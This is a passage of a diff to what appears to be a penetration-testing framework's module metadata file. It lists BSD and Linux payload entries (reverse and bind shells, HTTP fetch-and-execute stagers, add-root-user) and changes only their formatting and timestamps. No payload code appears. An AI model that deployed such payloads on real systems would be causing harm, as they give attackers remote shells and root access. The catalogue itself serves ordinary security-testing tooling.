"ref_name": "bsd/x86/shell_reverse_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199188,9 +204533,7 @@ "payload_bsdi/x86/shell/bind_tcp": { "name": "BSDi Command Shell, Bind TCP Stager", "fullname": "payload/bsdi/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199198,24 +204541,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsdi/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "bsdi/x86/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -199226,9 +204566,7 @@ "payload_bsdi/x86/shell/reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Stager", "fullname": "payload/bsdi/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199236,24 +204574,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "bsdi/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -199264,9 +204599,7 @@ "payload_bsdi/x86/shell_bind_tcp": { "name": "BSDi Command Shell, Bind TCP Inline", "fullname": "payload/bsdi/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199275,24 +204608,21 @@ "optyx " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "bsdi/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199301,9 +204631,7 @@ "payload_bsdi/x86/shell_find_port": { "name": "BSDi Command Shell, Find Port Inline", "fullname": "payload/bsdi/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199312,24 +204640,21 @@ "optyx " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "bsdi/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199338,9 +204663,7 @@ "payload_bsdi/x86/shell_reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Inline", "fullname": "payload/bsdi/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199349,24 +204672,21 @@ "optyx " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSDi", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsdi/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199375,9 +204695,7 @@ "payload_cmd/linux/http/aarch64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199387,9 +204705,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199403,8 +204719,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199417,9 +204732,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199431,9 +204744,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199447,8 +204758,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199459,9 +204769,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199473,9 +204781,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199489,8 +204795,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199501,9 +204806,7 @@ "payload_cmd/linux/http/aarch64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199515,9 +204818,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199531,8 +204832,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199543,9 +204843,7 @@ "payload_cmd/linux/http/aarch64/shell/reverse_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199554,9 +204852,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199570,8 +204866,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199584,9 +204879,7 @@ "payload_cmd/linux/http/aarch64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199595,9 +204888,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199611,8 +204902,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199623,9 +204913,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199637,9 +204925,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199653,8 +204939,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199665,9 +204950,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199679,9 +204962,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199695,8 +204976,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199707,9 +204987,7 @@ "payload_cmd/linux/http/armbe/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199721,9 +204999,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199737,8 +205013,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199749,9 +205024,7 @@ "payload_cmd/linux/http/armbe/shell_bind_tcp": { "name": "HTTP Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199777,8 +205050,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199789,9 +205061,7 @@ "payload_cmd/linux/http/armle/adduser": { "name": "HTTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/http/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199801,9 +205071,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199817,8 +205085,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199829,9 +205096,7 @@ "payload_cmd/linux/http/armle/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199841,9 +205106,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199857,8 +205120,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199869,9 +205131,7 @@ "payload_cmd/linux/http/armle/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/http/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199882,9 +205142,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199898,8 +205156,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199912,9 +205169,7 @@ "payload_cmd/linux/http/armle/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199926,9 +205181,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199942,8 +205195,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199956,9 +205208,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199970,9 +205220,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -199986,8 +205234,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -199998,9 +205245,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200012,9 +205257,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200028,8 +205271,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200040,9 +205282,7 @@ "payload_cmd/linux/http/armle/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200054,9 +205294,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200070,8 +205308,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200082,9 +205319,7 @@ "payload_cmd/linux/http/armle/shell/bind_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200094,9 +205329,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\ndup2 socket in r12, then execve.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200110,8 +205343,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200124,9 +205356,7 @@ "payload_cmd/linux/http/armle/shell/reverse_tcp": { "name": "HTTP Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200137,9 +205367,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\ndup2 socket in r12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200153,8 +205381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200167,9 +205394,7 @@ "payload_cmd/linux/http/armle/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200180,9 +205405,7 @@ "hal" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect to target and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200196,8 +205419,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200208,9 +205430,7 @@ "payload_cmd/linux/http/armle/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200220,9 +205440,7 @@ "civ" ], "description": "Fetch and execute an ARMLE payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200236,8 +205454,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200248,9 +205465,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200262,9 +205477,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200278,8 +205491,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200290,9 +205502,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200304,9 +205514,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200320,8 +205528,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200332,9 +205539,7 @@ "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mips64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200346,9 +205551,7 @@ "timwr" ], "description": "Fetch and execute a MIPS64 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200362,8 +205565,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200374,9 +205576,7 @@ "payload_cmd/linux/http/mipsbe/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/mipsbe/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200386,7 +205586,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSBE payload from an HTTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSBE payload from an HTTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes.", "references": [ "EDB-17940" ], @@ -200403,8 +205603,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200415,9 +205614,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200429,9 +205626,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200445,8 +205640,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200459,9 +205653,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200473,9 +205665,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200489,8 +205679,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200501,9 +205690,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200515,9 +205702,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200531,8 +205716,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200543,9 +205727,7 @@ "payload_cmd/linux/http/mipsbe/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200557,9 +205739,7 @@ "timwr" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200573,8 +205753,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200585,9 +205764,7 @@ "payload_cmd/linux/http/mipsbe/reboot": { "name": "HTTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/http/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200597,7 +205774,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSBE payload from an HTTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", + "description": "Fetch and execute an MIPSBE payload from an HTTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes or executing\n other payloads that rely on initial startup procedures.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -200614,8 +205791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200626,9 +205802,7 @@ "payload_cmd/linux/http/mipsbe/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200639,9 +205813,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200655,8 +205827,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200669,9 +205840,7 @@ "payload_cmd/linux/http/mipsbe/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200684,9 +205853,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSBE payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200700,8 +205867,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200712,9 +205878,7 @@ "payload_cmd/linux/http/mipsbe/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200741,8 +205905,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200753,9 +205916,7 @@ "payload_cmd/linux/http/mipsle/exec": { "name": "HTTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/http/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200765,7 +205926,7 @@ "Michael Messner ", "entropy " ], - "description": "Fetch and execute an MIPSLE payload from an HTTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", + "description": "Fetch and execute an MIPSLE payload from an HTTP server.\n\n A very small shellcode for executing commands.\n This module is sometimes helpful for testing purposes as well as\n on targets with extremely limited buffer space.", "references": [ "EDB-17940" ], @@ -200782,8 +205943,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200794,9 +205954,7 @@ "payload_cmd/linux/http/mipsle/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200808,9 +205966,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200824,8 +205980,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200838,9 +205993,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200852,9 +206005,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200868,8 +206019,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200880,9 +206030,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200894,9 +206042,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200910,8 +206056,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -200922,9 +206067,7 @@ "payload_cmd/linux/http/mipsle/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -200936,9 +206079,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -200952,8 +206093,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, 